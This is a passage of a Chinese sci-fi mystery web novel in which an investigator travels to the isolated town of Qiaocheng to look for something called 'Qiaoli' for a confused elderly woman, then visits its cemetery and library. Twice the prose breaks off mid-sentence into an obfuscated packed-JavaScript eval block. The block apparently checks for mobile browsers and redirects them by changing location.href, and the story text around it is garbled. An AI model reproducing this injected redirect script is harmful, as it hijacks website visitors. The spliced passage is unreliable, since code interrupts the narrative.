然而,这也缓解不了池泷心中的忐忑,如她所料,5W星币对于这样地方的人,毫无疑问是一笔巨款。 懵逼地走出没有人工智能或者检票员看顾、甚至连闸机都没有的出站口,池泷一眼就看到了一位老人,她直觉应该就是发布悬赏的那位。 因为出站口除了池泷就只有她一人,佝偻着背坐在出站口前的台阶上,从背后只能看到一条扎得又紧又长的蓝灰色辫子。 环顾四周,没有斑斓的投影广告和热闹的推销吆喝,也没有嬉笑的游客和待客的飞艇,就是空落落一个小广场,周边种着被修剪良好的绿丛,几根黑白斑驳的黑铁路灯,和台阶上的这一个人。 安静得心慌。 从后面走到老人身旁蹲下,池泷忍不住轻声说“你好,请问……”。 老人缓缓抬起头,额前的碎发整整齐齐位于眉毛上方,嘴角挂着轻微的弧度,浅灰的连身棉布裙没有什么线头和褶皱,眼睛灰蒙蒙地看着打招呼的池泷,显得十分慈祥。 “我在找一位叫娑利姌的老人家,她托人在星网上发布了悬赏找‘乔丽’,请问是你吗?” 老人微笑着点点头,“是的,孩子,就是我。” “你好,我叫池泷,昨天刚接到这个委托。” “它走丢了,找不到它我真的很着急,连做梦都在哭。”老人家轻轻抓住池泷的手说。 “是的,我就是来找……” “它很乖巧,从不给人添麻烦,不论是谁拜托它做什么它都愿意,并且不求回报。” “嗯,好的,请问它是您的什么人吗?” “而且它很宽容,哪怕是我这样弱小的omega,也从未被嫌弃过累赘。” 老人声音愈加轻缓,“悬挂空中的赤色宝石,是指引幸福的启明星。伤痕会被疗愈、创口也能抚平,脸庞笑颜永驻、我们翩翩起舞……” “它是什么?‘乔丽’吗?它有什么特征?最后出现的地方是哪里……” 老人不断地重复着刚才的内容,对池泷的提问充耳不闻。 耐心等了一会儿,池泷无奈,除了一开始回复的那几句,后面老人并未回答她后续提出的任何问题,只是抓着她的手一直自顾自地说着奇怪的话。 很怀疑她的神志是否清楚,池泷打量了一下周围,在出站口的另一边有个服务处小窗口。 把手轻轻抽出,池泷走到服务站那里,看着盖住窗口的木质小门,她一时间不知道要从何下手,大多数车站会配备服务机器人,有些高级的机器人甚至会自己主动过来解决乘客的疑问。 所以自己要敲敲这个小门吗?这个小门里真的有人吗? 池泷很怀疑。 幸好它自己打开了,露出一张年轻beta男性的、标准微笑的脸。 “您好,乔城车站竭诚为您服务。” “啊……你好,请问你们这儿有个叫娑利姌的老人吗?”池泷放心了几分,有个能沟通的同龄人就行。 车站服务人员露出一个奇怪的表情,用手指了指坐在台阶上的人,“喏,这不就是吗?” 池泷微微语塞,竟然真的是她。 这位工作人员上下打量了她一眼,嗤笑:“你又从哪儿来的?” “央星。” “哇,这么远吗,”他朝娑利姌的方向抬抬下巴,“她是什么热门景点吗,好多人都来找她,连央星的人都来看。” 池泷皱起眉头,继续听他说:“我不是乔城人,刚调来没一个月,这里的乘务人员换人很快,可能因为这里很破吧,”他挑了挑眉头,双手摊开,“要不是活少还可以混经历谁愿意来啊”。 男人伸出一根手指重重点了点身前的桌面,“咚咚咚”的撞击音格外响亮。“看到没,这个车站服务处,连其他每个车站都用的、最普通的服务机器人都没有,还得人工开门欢迎,幸好再过几天我就走了。” 接着他又伸出那根手指放在嘴边,神神秘秘地说:“你知道吗?这里的人几乎从来不出门,我从来这儿就没见过坐车的市民,更没见过你们这些找人的人离开,”说完他向椅子靠背倒去,“不过可能因为我们换人太快,而且这里很无聊,只能一直刷光脑玩游戏什么的,几乎不会抬头看,是我的错觉也说不定。” 他用手抬了一下头上的工作帽,笑嘻嘻看向池泷,“不好意思啦,虽然有人来,可相对其他地方,人还是太少了,我得憋好久才能等到人一吐为快。” 张开嘴,池泷刚想说话,又被这位服务人员打断:“我不知道她住哪里,这里的一位警察拜托我白天看顾一下她,太晚的时候那个警察巡逻会把她带走;当然,我从未跟她说过话,所以不知道她是不是真的老年痴呆,也没见过除了警察以外的人来找过她,好像没有家人。” 这一套话听上去十分顺溜,估计已经说过很多遍了。 “那么——乔城车站竭诚为您服务。”说完木门就被“啪”地一声关上,懒洋洋的声音从门后传来,“警局通讯和星联其他地方是一样的,我这里不提供除了询问以外的任何服务,包括卖返回车票,有需要请自行光脑或者在乔城政务机关购买,希望这几天你旅行愉快、工作顺利。” “……”池泷无语。 天色渐晚,站前广场的路灯开始陆续打开,她无奈拨了警局通讯,接警的警察听完她的讲述告诉她站在原地等一会,他会来接他们。 虽然不明白为什么,但池泷还是走到娑利姌身边坐下,此时她变得安静,池泷叫了她几声,她也只是转过头温柔地看着池泷,池泷又问了几个问题,但她依旧只是温柔看她,并未回复一句。 没过多久一辆警车在不远处停下,下来一位双鬓微白的中年beta男子朝这边走来。 “池泷是吗?”池泷站起身,这位beta警官热情地笑着,朝她伸手,“你好你好,我叫郝行兴,乔城总局的警察。” 池泷同他握手,然后指着依旧坐在地上的娑利姌说:“你好郝警官,通讯里说过了,我是接了她的委托才来的,但她好像无法正常交谈。天太晚了,打听了一下车站的工作人员,说警察经常送她回去。” “啊……是的,阿姨她有点……”郝警官用手指了指自己的脑袋,“我经常晚上巡逻到这边就把她顺路送回家,走吧,我把你们都送回去。” “嗯?不用,我直接找个旅馆住一晚就行。”池泷默默叹了口气,现在委托人拒绝交谈且好像神志不清的样子,感觉这个单子似乎完成不了了。 “不用,直接住在家里吧,阿姨很喜欢你。”郝警官笑着指指池泷身侧,池泷看过去,发现她的衣角正被娑利姌紧紧扯着。 什么时候扯上的?池泷有点尴尬,虽然第一次见面,这位奇怪的老人家好像还……挺热情的。 大概为了说服池泷,郝警官不好意思地补充道:“我们这边旅馆条件很差的,因为居民太少了,游客也少,因此配套设施十分落后。而且阿姨是很开心你能同她住一起的”,他朝娑利姌笑笑:“对吧,阿姨?” 可能是听见熟悉的声音,娑利姌抬起头,慈祥地笑着:“行兴来了啊,又到回家的时间了,我们走吧。”说着便站起身,郝警官立马上去扶住她。 然而老人家的手仍旧拉着池泷衣角,没办法,池泷只能倾身,赶忙扶住另一边,看着他们熟稔的样子,池泷忍不住开口询问:“郝警官你是乔城人吗?” “是的,我从小在乔城长大,在这住了50多年了。” “那你知道‘乔丽’吗?” “嗯?什么‘乔丽’,是什么东西吗?” 池泷一梗,连本地警察都不知道这个‘乔丽’,她不会又被骗了吧。 “小池你们在这里等下,我把车开过来。”说完,郝警官撒手朝警车走去。 “孩子,你住去我家吧,我可以和你细细叙述它。”郝警官走后,突然被扶着的娑利姌开口,池泷看向她,却只看到后脑勺。因为娑利姌发出邀请后,很快低头看着坑坑洼洼的地面,不再说话。 一阵清醒一阵迷糊的样子令池泷感觉十分迷惑。 在回娑利姌家的路上,郝行兴向池泷说了许多关于乔城的事情,主要还是围绕月轨项目,比如:车站地面上的痕迹和乔城不平的地面都是当年建设月轨项目时留下的、当年参与过月轨项目的alpha都基本一身伤病被集中收留在养老院里、从月轨项目之后乔城剩下的大多数都是beta了等等。 他骄傲地说,月轨项目是乔城的代表,是每一位乔城人心里的荣耀。 而娑利姌,她的alpha在建设月轨项目时因为一场事故被压在矿井底下,“那时他45岁,是月轨的首席科研人员,前途无量,但是不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564901|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道为什么那天他非要坚持下矿井,那个矿井存在时间很长了,每天来来去去的也没见什么人出事,但很不幸就是那天,突然塌陷了。” 池泷忍不住撇头看了一眼坐在她身边的娑利姌,她依旧平平静静,温温和和地微笑着盯着脚下,什么反应也没有。 “当然,不仅这位叔叔,当时几乎所有的omega都因为这场事故离世了。”郝警官的声音听上去很沉重。 “因为我父亲和娑利姌阿姨关系很好,就一直帮忙照顾她,后来他去世,就由我接手”。郝警官说着说着突然笑出声:“不过最近两年不知道怎么回事,有很多不同地方的人都说接到了委托,来找娑利姌阿姨,说帮她找什么东西,虽然阿姨她现在不太清醒,却总有好心人帮她,真是令人欣慰。” “那他们都没找到吗?”池泷好奇。 “他们都不知道要找什么,你还是第一个问我‘乔丽’的,”郝警官脚踩油门,车子发出很大的轰鸣声,坑洼的地面让它叮当得更急了。 这让坐惯了平稳飞艇的池泷忍不住皱眉,太吵了,这种石化燃料的交通工具在星联已经淘汰很久了,真难为乔城还有。 没再询问郝警官什么,池泷一路望着窗外的景色,从星网上的资料来看,乔城占地不大,所在星球除了矿藏外没有任何额外开发。尽管气候四季如春、冷热皆宜。但由于经济原因,导致它还是不大满足新人类的定居要求。 窗外的景色和车站广场的几乎一样,建筑、绿植、路灯,除此之外好像没有别的。 建筑大多数只有几层,每一栋上都能看到各式脱落的墙体,就像人上了年纪以后,褶皱的脸上会长出老年斑,合情合理却不太美观。 路边的植物在这个炎热的夏季里黄绿交错,车灯随着地面上下晃动,很好地辅助昏暗的路灯照清前进的路。 和色彩斑斓、热闹鼎沸的外界比,这儿处处透着一种正在缓缓漫延的老旧。池泷心中默默叹了口气,这比星网资料里说的还要夸张。 “我们这里比较落后,”不知道是不是从后视镜里看到池泷失望的脸,郝警官突然出声,羞赧的语调让池泷心中一凛,赶紧悄悄整理了表情,当着别人的面,嫌弃别人的家乡,真是十分失礼,“也尽力维护了,但毕竟……很穷,人也不够,所以和外面差距很大吧。” “也还好……”池泷不知道该回他什么,这里甚至比她出来的乡下还要落后一大截,她只能尴尬地笑了几声,。 有点羞愧,其实池泷发现了,粘不回去的墙体被乳白的防水剂平整地掩盖住了,绿植修剪得横竖分明,路灯灯光昏暗却都是好用的。 再不美观,这里也是被人关爱呵护着的地方吧。 远处有一座极高的尖头长柱,耸立在这一堆矮小的楼栋中间。至今为止,三人行驶的路上,任何角度都能看见它。 虽然灯火不明,看不清它的具体样子,但这应该就是那座纪念高塔了。 据说是央星为乔城牺牲者们设计建造的。 在池泷的事前调查里,关于乔城和央星,众说纷纭。 因为月轨建好、星际联通之后,各个星球之间交流交易愈加通畅,唯独乔城被隔离在一隅,十分反常,而央星作为领导星,对此也没什么表态。 所以产生了各种传言,大多数人都认为,当年央星曾向乔城示好,帮他们建造了纪念建筑,可乔城人贪心地觉得自己对月轨项目居功甚伟,目中无人,不顾星际44年那场事故,也就是郝警官口中的那场事故,带来的不良影响和无辜牺牲,提出过分要求,惹怒了央星,对它基本放养。 当然也一小部分人说,其实是央星和乔城之间有什么龃龉,乔城或许拿到了央星的某个把柄,央星为此想斩草除根,却又顾及乔城对月轨的功劳和社会舆论,只能暗暗断供,任它自生自灭。 无论是什么,央星和乔城“不亲”是星联人的共识。不过哪怕阴谋论,人们也只是暗搓搓说上一两句,不带为乔城出头的任何意向,毕竟谁也不想沾到现今掌握着星联最高军事力量的王室。 更何况,很多人都觉得,这件事上,央星已经仁至义尽了。 看着窗外,池泷也没敢再继续开口说话。 好像过了很久,车子停了,娑利姌家到了。 郝警官打开车门,将娑利姌扶下车,往一座二层木屋走去,又回身笑着向池泷招呼了一下,“你说的委托,估计是娑利姌阿姨的恶作剧,她以前是个十分活泼的omega,喜欢一些古灵精怪的东西。” 跟上前,池泷看着安静的老人,想起她刚才说的奇怪的话。 郝警官继续说:“不过阿姨也很体贴,从我照顾她开始,一直没有对我提出过什么额外的要求。” 看着郝警官要从门口的花盆底下拿钥匙,池泷扶过娑利姌,“大约从两年前开始,阿姨渐渐变成了这样。唉,我常想,都怪我经常值班不在家,让她觉得寂寞了吧,也没及时注意到她的变化。” 门开后池泷扶着娑利姌走向屋里,她觉得奇怪,既然发现了,为什么不外出接受治疗呢? 可郝警官话题又回到了委托上:“找阿姨的人没几天都走了,走的时候也没跟我打招呼,我还挺担心是不是因为恶作剧生气了。” “所以你也不用太有压力,就当来乔城散散心,玩够了离开就好。”接着他伸出手指指自己的警徽,“毕竟我是这里的警官大人,如果需要报销车费也可以找我哦。” 池泷有种被看穿的不好意思,毕竟刚才自己真的感觉有点被骗的生气和失望。 郝警官继续说:“阿姨住在一楼,因为比较方便。二楼的客房因为经常有人来,所以床铺和备用的衣物都是干净的。” 忍不住打量了一下屋内,池泷看见略略起毛的粗线沙发、有些掉皮的家具、手动拨号的通讯机、干净的木地板偶尔会发出嘎吱声,没有光脑、没有智脑、没有机器人、没有家居主控。 朴素的、纯人类居住的屋子。 说完话,郝警官扶着娑利姌往房间走去,临进门前他突然回头跟池泷说:“记得锁好门。” 锁门?池泷下意识看了眼周围,这里还能有什么危险? “我们这里很小,周边都是山林,所以很可能晚上会有野兽跑下来。”郝警官一脸严肃。 山林啊……池泷无语,如果有危及人身的野兽,这一城的老弱病残真的还能好好的吗? 可警官过于板正的表情让人不能怀疑这话的真实性。 还是道了谢,池泷上到二楼,打开房门,第一眼看到的是横放的床铺,淡粉碎花的被褥,池泷坐了坐极为软和。 打开床铺边上的衣柜,里面有备好的干净睡衣,距离床铺的几步之遥有一扇窗户,开了一道小缝,坐在床边就能透过窗户看到外面的景色。 浅黄的墙壁和可爱的葵花吊灯,整个房间闻起来、看起来都十分干净舒适。 她放下包,先把门锁上,然后走到窗边,窗外行人极少,只有一个穿着黑色连帽衫的人匆匆走过。 洗漱完毕,池泷躺在床上,想着今天发生的事。 本来她看到委托人迷迷糊糊的样子,确实打算明天就买票回去,可是刚才郝警官的话让她打消了念头。 如果唯独她知道娑利姌想找的是什么,那或许还能试试,万一真的是很重要的人或物呢,而且能挣一点是一点,池泷这样想着,打开光脑想找点资料,但或许今天真的是被折腾得有些疲惫,没看一会儿她就沉沉睡去了。 4. 第 4 章 池泷睁开眼,眼前一片漆黑,但周身过低的温度让她瑟瑟发抖,她想哈气暖和一下,一串水泡却从嘴里冒了出来。 “?”虽然觉得奇怪,但池泷却清楚知道自己正在深幽的冰川底下,果然,眼前出现巨大的冰棱形状,看不见的身后,浓重的黑影游过…… 发根突然又疼又麻,细小的刺激密密麻麻,形成一片扎入头皮,沿着神经往池泷的眼睛走去,池泷忍不住闭眼,轻揉眉头,下一秒睁眼时,一条如同巨大的蠕虫近在眼前,它忽地张开大嘴,瞬间,圈圈层层的牙齿就要将池泷吞下! “哈……”刷地睁开眼,池泷穿着粗气,额头上全是冷汗,但下一秒就注意到房间窗户大开,月光在地板上撒了一片,映出房内物品的影子,有一个人,正站在自己的床前! 一瞬池泷肌肉暴起,起身准备攻击,可眼睛适应月光后看清来人,池泷身形一顿,又坐了回去。 娑利姌站在床尾散着头发微笑地盯着她,依旧十分慈祥。 但说不出的诡异。 半夜被惊醒,看着站在她床尾的娑利姌,池泷不知道该做出什么表情。 “您是梦游了吗?”揉揉额角,池泷小声问道,万一真的是梦游,大声说话惊醒她,产生什么伤害就不好了。 娑利姌慢慢地摇摇头,伸出手指了指池泷,又指了指房门。 “您是想叫我出去?”池泷问。 没有再理她,娑利姌转身往外走去,穿着灰色睡裙的身影在夜晚显得更加飘忽,池泷忍不住看了看老人脚下,还好还好,有脚和影子。 一连串的刺激让池泷有些发蒙,她在床上坐了一会儿,等汗湿干掉才爬起身跟上。 想起刚才的情景,池泷心想:“看起来这位老人家也并不像梦游啊。” 走到楼梯,她就看见厨房亮着微弱的灯光,空气里传来一阵香味。下楼发现餐桌上放着一大碗闻上去就很美味的海鲜粥和一把木勺,娑利姌就站在餐桌旁等着她。 池泷坐下,惊喜又小心地指指粥问:“这是您做给我吃的吗?” 依旧没什么反应,娑利姌只是继续温柔地笑着看她。 虽然叫醒方式和进食时间着实奇怪,但池泷还是觉得有些暖心,正好噩梦消耗了不少的能量,香味也把肚子唤醒,饥饿一瞬间涌了上来。 “可能因为自己睡前没吃东西,这位奶奶特地给自己做了粥。”正所谓“吃人嘴短,拿人手短”,池泷的不满瞬间被美食摆平。 挖了一勺,入口前池泷嘟囔了一句“不会还没找到‘乔丽’就先被喂胖了吧。” “‘乔丽’的事情太多,我们不知从何说起。”娑利姌哑着声音,突然开口说了一句。 池泷吓了一跳,把挖起来的粥又放回碗里,盯着娑利姌等着下一句。 “但我们会将它珍藏,口口相传,千千万万的人都将瞻仰它的光芒。” 说完,她一直勾着的嘴角放下,整个人看上去十分平静:“阳光照进水底,水底藏着‘乔丽’的秘密”,老人瞳孔失去了焦距,仿佛灵魂出窍,夏日夜晚的凉风吹来,摆布着灰蓝发丝动了动。 池泷这才注意到,老人的头发十分凌乱,连睡衣上也满是折痕,好像睡觉不老实,在床上翻滚了好几圈。 但这可能是个人的睡眠习惯,池泷不置可否。 继续等着娑利姌说话,可娑利姌却在说完后,把头低下,发丝重重地颤了颤,胸前轻微起伏,好像就这么站着睡了过去。 “?”这一次,池泷真的有点看不懂了。 “那个……”隔着桌子,池泷缓缓伸出一根手指,想去戳戳这位老人。 不料下一秒,娑利姌如同诈尸般抖跳了一下,“嗖”地抬起脸来,嘴角不断抽搐,似笑非笑,瞳孔里映出了池泷的身影。 不待池泷再说什么,娑利姌有些僵硬地走过来,拿起池泷一口没喝的粥,将它一下子都倒进水池里,然后再次低着头,慢慢走回了房间。 很好,海鲜粥做错了什么,池泷嘴角也抽搐了几下,她现在真的相信郝警官说的这位奶奶喜欢恶作剧的事了,现在就是有人说这位老人家被什么奇怪东西附身她也信。 她还没问为什么大半夜这位老人家开锁跑到自己房间开窗,又被叫到楼下吃了个空饭。 最近自己是运道不济吗,什么匪夷所思的事都撞上。 深深叹了口气,池泷也没法跟一位生病的老人家计较,只能饿着肚子回到房间,关窗时发现睡前被擦得干净的窗棱中,有几条格外显眼的、不知从哪里吹来的黑色棉线。 随手将它们捻起扔到窗外,池泷躺回床上默念几遍心经,继续睡去。 “惊心动魄”的夜晚过去,清晨的第一缕阳光尚未透过窗帘,池泷就早早醒来。 下楼时早餐已经做好,餐桌上放着一张纸条:“小池,我送阿姨去车站,早餐是刚做的。”装着牛奶的杯子底下压了一份纸页,池泷拿出来看了看,是一份有些发黄的《乔城旅游指南》,版印日期是一年前。 敢情郝警官是真的希望她来散散心啊。 看着桌上热气腾腾的早饭,这几天被生活来回戏耍的池泷不禁感动:“世界上还是好人多。” 吃完饭,池泷翻了翻那本指南,上面的推荐景点有:纪念公墓、纪念塔楼、图书馆等。配上版面极大的照片,漂亮得忍不住让人想抓紧去游览一番。 指南后面还附了一份详细的乔城地图,路线、建筑和景点都被标注了名字,其中,推荐景点字体最大,被特意用粗红线圈了出来。 经过昨晚的事,池泷大概知道“乔丽”或许跟水有点关系。 尽管娑利姌神神叨叨,可做为现在唯一的线索来源,池泷只能先跟着她说的进行调查。 看了看地图,乔城没有什么河流,只有一处城内湖,就在纪念公墓旁边。 乔城不大,从娑利姌家到纪念公墓步行也就十几分钟的路程。 走在路上的池泷很难想象这么小的城市是整个星际交通工程的奠基者。 路边都是些看上长得差不多的房屋,除了老旧外,没有其他特色,池泷背着背包,一路慢悠悠地溜达。 和昨晚在车里观察到的一样,乔城陈旧却十分干净。路虽然破破烂烂,但走在路上看不到任何垃圾,也没见到什么清理垃圾的人,或者说,就没见到什么人。 到了纪念公墓,门口有一块挺大的石碑,池泷抬头读着上面的字,公墓也是央星为了纪念月轨工程中牺牲的人建造的,他们大多数是alpha,小部分是beta,留下的名字被镌刻在公墓里,未留名的由这块石碑纪念。 不闻鸟鸣,没有人迹,一个很幽静的地方,池泷随意环视了一遍。 公墓没有大门,也没有守墓人小屋,看了看地图,一条小路将其分割成均衡的两部分,四周种满了高大的树木,在炎热夏日里撒下一阵引人的阴凉。 小路就在石碑旁边,沿路走进没多久,就看见一块块石板整齐地排列着。 池泷瞅了两眼,墓碑方方正正、简简单单,上面刻着的仅仅是不同的名字,没有立碑人、没有时间、没有墓志铭,甚至连照片都没有。 但这并不影响池泷抱着沉缅的心情,从头到尾认真端详过每一座坟墓。 站在最后一块墓碑前,她不自觉皱眉,心情有些复杂。 她敬重为新人类牺牲的每一位英雄,但一路看下来,池泷反而觉得,仅仅一个名字,仿佛是无根之木、无源之水,他们存在于世过,死后却仿佛和这个世界从未有过关系。 无法探寻到当年的情景,也无法知晓沉睡在这里的人曾经做过什么。 “你是不是在想,这个与月轨紧密相连的城市,为何如此慢待他们的英雄,”苍老的声音从后面响起,池泷猛地转头,看见一位头戴贝雷帽、拄着拐杖的beta男性老人站在自己身后。 “呃,您好,请问您是?”突如其来的人声着实吓了池泷一大跳,这是很少见的,自己竟然没有感应到身后来人吗? 出声的人是一位文质彬彬的老人,尽管是夏天,他却仍旧穿着一套洗旧发白的薄西装,袖口起来的丝线应该是被修剪过,起来得整整齐齐,皮鞋虽然有些起皮,但肉眼可见的柔软舒适,说明它至少在老化前也价值不低。 整理了下表情,池泷友善地笑笑。 估计是自己刚才看得有点入迷,所以没听见身后的声音。 “普通市民,”老人缓缓说道,“但我经常来这边逛逛,这边的树木很多,空气清新,很适合散步。” 苍老的声音回荡在安静的公墓,不知道为什么,池泷感觉四周好像更冷了些。 “您是本地人?” “是啊,”老人拄着拐杖,慢悠悠地溜达进公墓。 抓紧跟了上去,池泷盘算着,好不容易遇到一个本地人,问问他说不定会有新的线索。而且这位老人的年纪看着比娑利姌还要大一些,搞不好知道的更多。 “你在这做什么呢,年轻人,我观察了你很久,你每一块墓碑都看得很认真”,池泷还没开口,就听见老人的询问,他用手里的拐杖指了指石板,“这上面只有名字,你还指望能看出花儿来吗?” 挠挠头,池泷嘿嘿一笑,“我看过墓园的石碑,上面说这里葬着月轨里牺牲的人”,面上虽不显,但眼中盛满了敬重,“哪怕只有一个名字呢,他们也应该被我们注视。” “哼,月轨里有功的又不只有乔城的这几个人。”老人嗤笑,实在有违他一身的书卷气。 “那如果有机会去别的星球,我也会去看那些前辈。”池泷认真地回复。 老人点点头,满脸不信,但池泷也没解释什么,心里只奇怪,这里的老人家都这么有和外表看起来完全不一样的个性吗? 两人相伴走了一段儿,沉默却并没让人尴尬。 “你从哪里来做委托的?”身旁的老人突然出声,声音沙哑又深沉。 “央星。” “央星的图书馆什么的,没有乔城的介绍吗,还用巴巴儿地跑过来。” “有倒是有……”池泷嘟囔,看着老人此刻平和的样子,她解释道:“但是资料感觉不全,您知道委托,一定知道娑利姌吧?”又抓紧问了一句,“您知道‘乔丽’吗?” 老人没有接话,自顾自地继续溜达,不死心的池泷继续跟在老人身后。 走了一会儿,老人突然开口:“这委托可不太好做,这么长时间也没人解决,你还一头扎进来。” 停下脚步,老人转头看着池泷,灰绿色的眼眸一片幽深:“是因为委托金额很高吗?” 听见老人的话,池泷先“啊?”了一句,“这倒没有,”她补充道,“原因很复杂。” 想起林息,池泷在心里默默叹了口气,“能赚一点算一点,我现在比较缺钱。” “哼,看起来是缺得很,毕竟这里的经济水平,委托金额能有多高呢?”老人不屑地说道。 您这不是知道吗?明知故问?池泷心中无语,再说也不是光是为了钱。 想起擎叔,池泷只抿着嘴挑了挑眉,没多说什么,现在池泷严重怀疑,因为乔城过于封闭、游客稀少,导致这里的老人家过于孤单,社会性退化,因此才这么不寻常。 郝警官真的是个好警官啊…… “我们这里嘛,你也看到了,一群混吃等死的老人,什么都没有,景色也一般。”尽管池泷不接茬,老人也自顾自地继续说道,声音平稳,“难为你还能在这儿”,老人用拐杖划了划周围,又点了点一块块的墓碑,“看得津津有味。” 星网上曾描述月轨项目有“许多的牺牲者”,没有具体数字。所以看完这座占地面积比想象中大得多的墓园后,池泷有点心酸。 这里埋葬的,只是找到尸骨的人,还有很多人仅仅只能被镌刻在一块石碑上。 “来到本地才知道更深刻的事实和真相,”池泷低头看了看经过的墓碑,“而且从光脑里看到的远不如亲眼所见来得震撼。” “是嘛,”老人好像轻轻叹了口气,拄着拐杖继续向前走。 “您怎么知道委托的事的?”池泷有些好奇,毕竟娑利姌的委托都是外人帮发的,家中设施也十分古旧,加上乔城的封闭,池泷觉得这里的老人应该是不太懂星网委托之类的,难道跟自己想得不一样? “年轻人来得多了,自然就知道了。”老人随意解释,“来公墓的,你倒是第一个。不过像你们这样的年轻人,不太适合在我们这儿久留,你们会不习惯,我们也不习惯。” 说完,他将拐杖往地上重重磕了磕,好像很不满。 不习惯什么?不习惯热闹吗? 微风拂过,乔城的夏日并不像央星那样炎热烦躁,微微升高的温度反而正好。 只是,热闹的夏天里,空旷的城市中,除了风拂过草木的沙沙声,没有鸟鸣、没有虫嘤、没有人语。 大多时候,一片寂静。尤其这座墓地,更是带着幽然的凉意。 但多了一个人陪伴,寂静似乎也不再那么冰冷,两个人就沿着一个接一个的石碑,走到了一开始池泷进门的地方,从入口的大石碑右转,沿着墓地外部的路,两个人依旧一声不吭地慢悠悠走着。 微风、栖树、暖阳,池泷细心感受着身边,复杂的心情也逐渐变得开朗且平静。 “你真的很有耐心啊年轻人,”老人走了一会停下脚步,转身面向池,但眼角弯起、明显带了笑意。 “啊……”,正在出神的池泷有些尴尬,“还好,就是这里的氛围不知道为什么让人觉得闲适。” “闲适吗,”老人的目光穿过池泷,望向前方,声音变小,像是自言自语,“当年设计的时候就是想要这样的感觉,让每一个来到乔城的人都会觉得平和。” “?”池泷没太听清,侧耳弯腰想听得更清楚一点。 但老人却不再说了,他额头上有些汗水,或许是有些热,他慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进入图书馆内部,池泷才发现被吸收的阳光经过材料的变形折射到图书馆内里,波光粼粼,风吹树影映在外壳上如同游动的小鱼,一进门就像步入了沉静的海底。 而且这座图书馆也确实空无一人,安静得很。 馆内正中央是一座眼睛轮廓的雕塑,眼睛的边缘刻成了烟雾飘渺的样子,竖在圆形石制底座之上,像一只隐在迷雾中窥探的鬼眼。 看起来有点吓人,不太符合图书馆的氛围。池泷为这个雕塑造型感到疑惑。 雕塑不远处的一个小机器人热情地迎接上来,圆形的脑袋,倒三角的身材没有手,低空悬浮在地面之上,脸是一张数码屏幕,只能用单调的线条表现出表情,说话不时发出电流音。 “欢迎来到乔城图书馆,我是你的讲解员乔乔,有问题可以问我哦,”池泷观察了一下它,虽然自己对机械什么的不是很精通,但看款式也知道,这是一个很旧很旧的机器人,神奇的是,它到现在竟然还能保持工作状态。 “你好,我想找下有关‘乔丽’的资料”。池泷放慢语调,怕这个小古董没办法及时反应。 趁着小机器人原地搜索的时间,池泷在大厅里转了转,没找到链接光脑的地方,只发现一个分类索引的标台和雕塑后面大量的纸质图书和木质书柜。 图书馆里的光脑链接一般是为了方便读者借阅和保存图书的,一来是因为电子图书保存期限长,不会有纸质图书的磨损。二来也是光脑在图书馆登记后,还书的时候就不需要再跑一趟了。 很久以前,大多数图书从出版就已经是电子版了,纸质图书虽然有,但大多是为了一种浪漫的情怀,才有人购买,基本已经被市场淘汰。 “看来当初的设计者十分浪漫啊”,但打量的书架书本让池泷有些担忧,很难想象维护这座空旷的图书馆里的纸质图书,要付出多少心力,希望这些资料不会有什么大的缺损。 至少有索引还是比较便利的,池泷开始研究分类索引,想找一些乔城相关的资料。 在车站听到娑利姌的谜语时,池泷怀疑过“乔丽”可能是个人,“红色宝石、疗愈伤痛”什么的,听上去像是萨满、巫医一类。 可后来跟郝警官和拄拐老人的对话,池泷发现,如果“乔丽”真的是人,先不说它能藏在水底,就是消失了警察竟然都不知道。 而且刚才,虽然没有任何正面回答,但最后,那个老人却说“乔丽”是“奇奇怪怪的小玩意儿”,一般人听到这个名字不会首先想到是人吗? 所以,“乔丽”难道是物? 娑利姌和老人好像知道它,郝警官却不知道。那它大概率是和老一代相关的,老一代的事,也是乔城的历史。 但池泷想不通的一点就是,那个老人好像知道它,却没给自己提供任何信息。 如果很排斥像自己一样的人不断来这里做委托,那不应该早点帮自己解决这件事吗? 难道这里的人很傲娇?池泷忍不住打了个冷颤。 但幸好老人给自己指了图书馆,那说不定图书馆里留存的当地一些新闻地志什么的可能会有线索吧。 过了一会儿,小机器人眼睛从微笑的圆弧变成了圈圈,“不好意思,乔乔并未找到‘乔丽’的相关资料呢。” “没事,我自己去就好,谢谢。”摸摸小机器人圆圆的脑袋,粗糙的手感昭示着它难以抵抗的磨损和不短的服务历史。 没期待过这个可能比自己年龄都大的小机器人真能找出什么东西,毕竟它能好好运行已经挺奇迹的了。 池泷想去“历史、地理类”看看,知己知彼百战百胜,想要从乔城里得到什么,总得先了解一下它到底是什么。 这座圆形建筑前半部分是大厅,后半部分才是图书存放处,一共三层,池泷要去的是二层。 步入存放图书的那部分,池泷闻到一股清新的味道,像雨后某种古木被浸透散发的香气,混在有点陈腐的纸页味中,也没显得突兀。 实际上,每一层书架都不多,肉眼可数,历史地理类的书架也就才两个,池泷抽了一本《乔城地理》坐在二层的阅读处,那个地方正好在二楼外侧平台栏杆后,有桌有椅,正好面朝雕塑,玻璃透过的光也是刚好适合肉眼阅读的亮度。 书拿到手里的时候,池泷发现,那股味道是书页里散发出来的。 书本封皮有些褪色却十分完好,版印日期在四十多年前,手指抿了抿纸张,尽管有些平滑但却柔软坚韧,完全不像是放了几十年的样子。 估计这股味道应该是一种特制的书页保护剂。 所以说,和这座城市一样,这座看起来空无一人的图书馆也一直在被人精心打理着。 但她到现在为止实在是没看到过几个人。用光脑对着书页拍了几张照片发给尹霄,池泷忍不住思考,谁能在这座基本荒芜的城市里做这些如此细致的事呢? 5. 第 5 章 